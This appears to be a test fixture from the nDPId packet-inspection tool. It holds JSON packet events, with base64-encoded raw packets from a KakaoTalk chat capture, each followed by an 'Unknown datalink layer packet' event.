+00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":283,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069037,"pkt_ts_usec":774573,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgqV0AAPwalpgoYUryt\/GECircBu1PELGZm6PfMUBBVAIOvAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":283,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":284,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069038,"pkt_ts_usec":595954,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACiq9EAArAYRptg63QoKGFK8AFCMUmKi4jFDN+TzUBH\/\/6QYAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":284,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":285,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069038,"pkt_ts_usec":654608,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgAAEAAPwYptwoYUrzYOt0KjFIAUEM35dFioucAUBA+dl\/2AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":285,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":286,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069040,"pkt_ts_usec":829291,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHLzXUAAPwZJYwoYUrxn9jn7x00fkMsN9wYrPwQwgBgAexO3AAABAQgKAAsPCpj2bmU6AAAAolkC\/4gP\/deLY5qAl+gvk1q6sKo+Dj8NmSA2rJYEww7CAFaSnbB0cHHjCEGbHgWAm+O6R5DcVbzucA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":286,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":287,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069041,"pkt_ts_usec":381385,"pkt_caplen":93,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":93,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAE0cE0AAjgaxTNJn8A8KGFK8AbuTvWC6vbGv6iasUBmjFyZrAAAVAwEAIHCovM3ukEKm5XIbW7IH7Mt6YaRI9cl8ydlkDt\/RuRB8"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":287,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":288,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069041,"pkt_ts_usec":457495,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgriUAAPwbw+woYUrzSZ\/APk70Bu6\/qJqxgur3XUBBzAJLnAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":288,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00655{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":289,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069041,"pkt_ts_usec":829810,"pkt_caplen":258,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":258,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAPJbIkAALgbyHmf2OfsKGFK8H5DHTSs\/BDDLDfdEgBgADk6wAAABAQgKmPajHgALDwq6AAAAolkC\/4gP\/deLY5qAl+gvk1q6MKo+Dr8NmSA0vIoEwzL52Zrr6RjF9Bu994wavboL+YbRyGuQnqzGjRX38N1zyfNe61lkzc0IHKVWxcnKyjmNl6oQX9Lrf+xWf9zOhkCznR4qsQb0obZXCGNou9W\/BEdEWcdYd1s\/XQjToOKZQOS9aYSCHzCyUVerS7tvJBIcs5grGAgJ\/\/0j1kplCt6fp\/H15W5dVAQmBKJAFTBRqD7ubEPdwOIZpkw4"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":289,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":290,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069041,"pkt_ts_usec":937537,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzXkAAPwZJoAoYUrxn9jn7x00fkMsN90QrPwTugBAAg1J8AAABAQgKAAsPe5j2ox4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":290,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":291,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069044,"pkt_ts_usec":568854,"pkt_caplen":157,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":157,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI3zX0AAPwZJRgoYUrxn9jn7x00fkMsN90QrPwTugBgAg\/lWAAABAQgKAAsQgJj2ox5VAAAApVkC\/4gP6c2DY5DOxadg3j3uOFk37WQtu31WeByENvnH+DX\/S7DVK6u8apgllsOoljhTv0Bpj3w8hcD\/X\/f\/nc5qUppaWqWFC3vtb1GieZeOb5kg9A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":291,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00610{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":292,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069044,"pkt_ts_usec":758521,"pkt_caplen":227,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":227,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAANNbI0AALgbyPGf2OfsKGFK8H5DHTSs\/BO7LDfedgBgADqeYAAABAQgKmPau5gALEICbAAAApVkC\/4gP6c2DY5DOxadg3j3uglk37d4tu31UaACENsUDY+LzOxjISSvDHlLj\/76+Mot90fr3IIVmcZzKrPUuIUunQYRnfbf2nwhOJWRaXLWTADCHo5USSgouqKOhF3NrykFuZgZj9O56lIYjyauIO5CNvDULgFhzQTozkvjnAUrGJZ4Xd2mZAm0F37zjomKPM4XbVO9G3LuV7VU="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":292,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00717{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":293,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069044,"pkt_ts_usec":758795,"pkt_caplen":303,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":303,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAR8KJUAAjgb4zIuWAH0KGFK8Abu3Y2Ij0KVRKAPiUBigLueuAADzAAAApDlIVrVdqRc+Gkt7POZ3i2OlkuY4MMfPTZY9G4U0YFfr\/Io7pOCQe3JDBNAmPdEpHGIlOOWztPzNgfmCZdfJbXa\/FjyLrCbe\/cKrmuhEYDyIPsoQcOHY3YFPdOkSmKChheXsyu06po9uQ1CWTJDZfqoByGUY9M3+\/torvsssHclmFyrgMhiQBPDR+\/p96Y\/\/sK6VRP8W+SfBO5i7Jg3brhWvS81m7IbytFR73ZERAlFn0QejuZzhem715ywfbXU8ySrwRBK2cs3ywClzqW\/s7h0teJNcn45XHRR+Z0ZTPA29+kHM57k5C1faf1I\/3jeLMDw\/"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":293,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":294,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069044,"pkt_ts_usec":764838,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzYEAAPwZJngoYUrxn9jn7x00fkMsN950rPwWNgBAAjESYAAABAQgKAAsQlpj2ruY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":294,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":295,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069044,"pkt_ts_usec":836371,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjTekAAQAZ+bgoYUryLlgB9t2MBu1EoA+JiI9GcUBCIgOkBAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":295,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":296,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069044,"pkt_ts_usec":940863,"pkt_caplen":98,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":98,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFLTe0AAQAZ+QwoYUryLlgB9t2MBu1EoA+JiI9GcUBiIgH9kAAAmAAAApDlIVrVdqRc+Gkt7POZ3i2OlX+Y4MArPTZYlBp4hfXC7UiHVW\/8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":296,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":297,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069044,"pkt_ts_usec":982337,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgKJkAAjwb4wouWAH0KGFK8Abu3Y2Ij0ZxRKAQMUBCgBOTVAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":297,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":298,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069048,"pkt_ts_usec":642493,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgkakAAjgapGtJn8A8KGFK8AbulXNdU3uvmK0ykUBSkj1vNAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":298,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":299,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069048,"pkt_ts_usec":642676,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgAAEAAQAYbhQoYUrzSZ\/APpVwBu+YrTKRirTiWUBBpALJdAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":299,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":300,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069048,"pkt_ts_usec":679969,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoACgAAEAAjgbNXNJn8A8KGFK8AbulXGKtOJYAAAAAUAQAAE46AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":300,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00519{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":301,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069048,"pkt_ts_usec":788214,"pkt_caplen":157,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":157,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI3zYUAAPwZJRAoYUrxn9jn7x00fkMsN950rPwWNgBgAjPuuAAABAQgKAAsSJpj2ruZVAAAApFkC\/4gP6c2DY5DOxadg3iJoXaSJ+hWiEs8\/grPoSNWt\/YRHioQUCNg+vzJJVxYbFPJhFKfNnJWaHuwCOdSQYuNaCxvig+a3GFy4wMy6JpT4Duur\/Q=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":301,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00614{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":302,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069048,"pkt_ts_usec":919532,"pkt_caplen":227,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":227,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAANNbJEAALgbyO2f2OfsKGFK8H5DHTSs\/BY3LDff2gBgADvAkAAABAQgKmPa\/MAALEiabAAAApFkC\/4gP6c2DY5DOxadg3iJo56SJ+q+iEs89kq\/oSOntFSZtde5ht7ICUN1XqI5RFjdxF7aKHHH1yXafBHEhxlzqQ4S4fJPCZRXeCFwsfKSGa3MT2ygLnn2L87WRGR4\/3cDKIJC5aLqINNDTD3FPSC8mD9yW2hHfkEAzia0zv6O7GXMBqhWuSmZfBedo82d\/d5g6qwLKo\/2GKug="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":302,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00711{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":303,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069048,"pkt_ts_usec":920172,"pkt_caplen":303,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":303,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAR8KJ0AAjwb3youWAH0KGFK8Abu3Y2Ij0ZxRKAQMUBigBA+QAADzAAAAFuBuaLVdqRc+Gkt7POZ3i9iwE0OUcIt6Wdo7FYv6P+oilGFY3dWOKarP+MAtPaIe7D4hJ6euSyPoLY02ayhtG6t6hjgo0J+3mmd2rWibbgn7vgALgNP+pPunSUEX0JXO1FBdWyEY1hTl2P1ityWpPqC+7EsELHBJIRlK+qytu2G1YDO1EC3LK85VDdZrB5iRO11q\/l+hBAqej\/BKXOYYSGrN9au2EIR2Ot+AlK\/Qjtu0OP1vjPCzsOrqf4xtuZg5q4ODFnVhg7n5wqCHN3shjUv0TKYl6uhcpZF5VHuJ0LQvT1qmfU8F0MfXxOK\/kWj6y7Wr"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":303,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":304,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069048,"pkt_ts_usec":920600,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjTfEAAQAZ+bAoYUryLlgB9t2MBu1EoBAxiI9KTUBCRCOkBAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":304,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":305,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069048,"pkt_ts_usec":927069,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzYkAAPwZJnAoYUrxn9jn7x00fkMsN9\/YrPwYsgBAAlDGuAAABAQgKAAsSNpj2vzA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":305,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":306,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069049,"pkt_ts_usec":179969,"pkt_caplen":98,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":98,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFLTfUAAQAZ+QQoYUryLlgB9t2MBu1EoBAxiI9KTUBiRCF0ZAAAmAAAAFuBuaLVdqRc+Gkt7POZ3i9iw3kOUcEZ6WdojCJDvIs0xtYwNzYg="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":306,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":307,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069049,"pkt_ts_usec":230536,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgKKEAAjwb4wIuWAH0KGFK8Abu3Y2Ij0pNRKAQ2UBCf2uPeAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":307,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00523{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":308,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069049,"pkt_ts_usec":770087,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJSUZ0AAQAZSqgoYUrytwki8h34UbGWkOWcyCtXvgBgB12cmAAABAQgKAAKaQHWhBxYXAwEAW9BJTUK7bhQDJS6M4k2xveYn3KZ2THpi3b2p1WnyM44nZ0651+YzJehbLb+jV4nNEd4GZbKLQU+P8abQYninXFhPSKcNuFppnDwsImxNyj3HrOvurwOWRZpYp3o="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":308,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":309,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069051,"pkt_ts_usec":671393,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACiq9UAArAYRpdg63QoKGFK8AFCMUtPmE5BDN+TzUBH\/\/wF2AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":309,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":310,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069051,"pkt_ts_usec":765998,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgAAEAAPwYptwoYUrzYOt0KjFIAUEM35dFioucAUBA+dl\/2AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":310,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":311,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069052,"pkt_ts_usec":223609,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACif4UAArAZunR8NRFQKGFK8AFCSsWQ58kuOvvK5UBH\/\/4SfAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":311,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":312,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069052,"pkt_ts_usec":317694,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACj6\/UAAPwaAnQoYUrwfDURUkrEAUI6+8rlkOfJMUBA8uEfnAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":312,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00518{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":313,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069055,"pkt_ts_usec":157355,"pkt_caplen":157,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":157,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI3zY0AAPwZJQgoYUrxn9jn7x00fkMsN9\/YrPwYsgBgAlLx0AAABAQgKAAsUo5j2vzBVAAAAp1kC\/4gP6c2DY5DOxadg3ndKHeUMqvmQu9iVGyn2GKIKAfJaTkQC\/XE6PKgyIHr47ArHpy951grZPcRFsiIWvn1732JOidQ8pkdILKDD6KQKO0aVhw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":313,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00716{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":314,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069055,"pkt_ts_usec":712958,"pkt_caplen":303,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":303,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAR8KKUAAjgb4yIuWAH0KGFK8Abu3Y2Ij0pNRKAQ2UBif2g\/UAADzAAAADm0Ga7VdqRc+Gkt7POZ3i+5tzFY41M0fMnZ5G+m2Vfmrg\/zv7j0hw0EYHJWzK5vm\/yh4v2HJS83EDXIAXU2bjamkVNJvnppe0xZ5dVZ87ou5\/qGH6LaceT8u59MyUCQvylTi4YEzvDS9zVBR8mlLXoh1YM2wq9pcWvX2q\/mybRcS2fxHzLHJJpFYQpXKfnNGugL7Wx\/EBHURohcuMoPwedtdn3tHj0aCstecuAcqjgGrRkrqpBRh\/NLh33y+h1qkuo9\/WREg5Tpgd83vHtfKtQ78Z7vZ4TSawOTHx9k\/8rk1O3mx++HEjz58cnZa448oyarm"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":314,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":315,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069055,"pkt_ts_usec":713507,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjTfkAAQAZ+agoYUryLlgB9t2MBu1EoBDZiI9OKUBCZkOkBAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":315,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00611{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":316,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069055,"pkt_ts_usec":838660,"pkt_caplen":227,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":227,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAANNbJUAALgbyOmf2OfsKGFK8H5DHTSs\/BizLDfhPgBgADpbjAAABAQgKmPbZRAALFKObAAAAp1kC\/4gP6c2DY5DOxadg3ndKp+UMqkOQu9iXCzX2GJ5\/Tv4obxXY1QH+AdqxhRnNT91Ae3AlkhgbmgPCZGbzy2HquatQXbsbBUmPQYzOxvfN2fLYJqWsvupAVKsk3ldlCMT0PEPGNEpujUBKAOCCfawToLlCRjIa\/Ie7ZjzyKNxpJTS3mRN12k6m0ILcO50y3N6aa+UpFqTx900="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":316,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":317,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069055,"pkt_ts_usec":909095,"pkt_caplen":98,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":98,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFLTf0AAQAZ+PwoYUryLlgB9t2MBu1EoBDZiI9OKUBiZkLHVAAAmAAAADm0Ga7VdqRc+Gkt7POZ3i+5tAVY41AAfMnZhBvKjSN7EqKqW+N8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":317,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} 